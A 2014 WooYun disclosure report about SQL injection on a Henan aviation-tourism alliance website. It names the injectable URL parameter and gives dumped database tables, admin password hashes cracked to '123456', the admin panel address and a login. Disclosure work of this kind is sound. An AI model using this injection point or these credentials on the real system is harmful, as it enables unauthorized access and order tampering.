漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-071227
漏洞标题：某机场系统SQL注入导致后台数据泄露，后台弱口令，可任意修改订单，用户权限等
相关厂商：河南省机场集团有限公司
漏洞作者： 不知道2017
提交时间：2014-08-06 12:10
修复时间：2014-09-20 12:12
公开时间：2014-09-20 12:12
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-06： 细节已通知厂商并且等待厂商处理中
2014-08-11： 厂商已经确认，细节仅向厂商公开
2014-08-21： 细节向核心白帽子及相关领域专家公开
2014-08-31： 细节向普通白帽子公开
2014-09-10： 细节向实习白帽子公开
2014-09-20： 细节向公众公开
简要描述：
妈妈说标题越长越吸引人。
详细说明：
河南航空旅游发展联盟网站有sql注入、后台弱口令等
lylm.hnatu.com/Voyage.aspx?void=34
漏洞证明：
Database: lylm
[23 tables]
+---------------------------------------+
| buyinglist |
| newscategory |
| newsinfo |
| newsphotolist |
| ordersinfo |
| serchenewsinfo |
| serchtickets |
| serchuserorderinfos |
| serchuserrecord |
| shopinginfo |
| systemlog |
| t_adminsinfo |
| t_airline |
| t_friendlink |
| t_payingbanks |
| t_systemconfig |
| ticketbeginlevel |
| ticketinfo |
| ticketlevel |
| tickets |
| userlevels |
| userorders |
| usersinfo |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: lylm
Table: t_adminsinfo
[3 entries]
+----------+-------------------------------------------+--------------+-------------+--------------+---------------------+----------------+---------------------+
| Admin_Id | Admin_Pwd | Admin_Name | Admin_Level | Admin_Status | Admin_AddDate | Admin_TrueName | Admin_LastLogintime |
+----------+-------------------------------------------+--------------+-------------+--------------+---------------------+----------------+---------------------+
| 6 | e10adc3949ba59abbe56e057f20f883e (123456) | admin456 | 0 | 0 | 2013-05-08 22:16:36 | 刘德华 | 2013-05-08 22:16:16 |
| 7 | e10adc3949ba59abbe56e057f20f883e (123456) | admin | 0 | 0 | 2013-05-09 08:36:43 | 河南旅游发展联盟 | 2014-08-06 09:33:07 |
| 8 | e10adc3949ba59abbe56e057f20f883e (123456) | enthusiastic | 0 | 0 | 2013-05-09 09:08:26 | <blank> | 2013-05-09 09:10:29 |
+----------+-------------------------------------------+--------------+-------------+--------------+---------------------+----------------+---------------------+
后台地址
http://lylm.hnatu.com/AdminManager
登陆用户名admin 密码123456
修复方案：
你懂的
版权声明：转载请注明来源 不知道2017@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-08-11 09:56
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT通报给民航局测评中心，由其后续协调网站管理单位处置。
最新状态：
暂无